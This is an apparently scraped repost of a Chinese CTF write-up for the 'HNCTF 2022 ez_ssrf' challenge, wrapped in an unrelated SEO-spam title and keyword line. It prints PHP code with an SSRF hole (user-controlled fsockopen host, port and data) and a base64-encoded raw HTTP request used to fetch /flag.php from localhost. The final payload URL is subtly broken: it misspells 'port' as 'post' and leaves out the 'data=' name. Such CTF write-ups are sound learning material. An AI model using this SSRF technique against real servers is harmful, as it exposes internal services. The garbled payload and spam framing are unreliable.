当前位置: 首页> 财经> 访谈 > crm免费_新疆网络直播课空中课堂_seo优化专家_职业技能培训机构

crm免费_新疆网络直播课空中课堂_seo优化专家_职业技能培训机构

时间:2025/8/27 0:55:56来源:https://blog.csdn.net/2301_80148821/article/details/144330447 浏览次数:1次
crm免费_新疆网络直播课空中课堂_seo优化专家_职业技能培训机构

[HNCTF 2022 WEEK2]ez_ssrf

知识点

SSRF注入。

解题

看到index.php界面

 <?phphighlight_file(__FILE__);
error_reporting(0);$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {die();
}
else {fwrite($fp,$data);while(!feof($data)){echo fgets($fp,128);}fclose($fp);
} 

看到有三个参数可以传入

其中fsockopen()函数

语法
resource fsockopen($hostname,$port,$errno,$errster,$timeout)
host域名,
prot端口
errno当连接失败时输出错误码
errstr连接失败时,引用的变量设置为错误信息
timeout 返回时间,超过时间就返回。

看到fwrite()他将data中的内容传入我们所写的端口号和域名中

再通过循环

while(!feof($data)){echo fgets($fp,128);}

将每一行内容进行输出,每行最多输出128个字符。

我们传入内容。

data中的内容,我们构造一下

GET /flag.php HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Connection: Close\r\n
\r\n

将其base64后传入

?host=127.0.0.1&post=10&R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

不知道端口用bp爆破就行。

关键字:crm免费_新疆网络直播课空中课堂_seo优化专家_职业技能培训机构

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: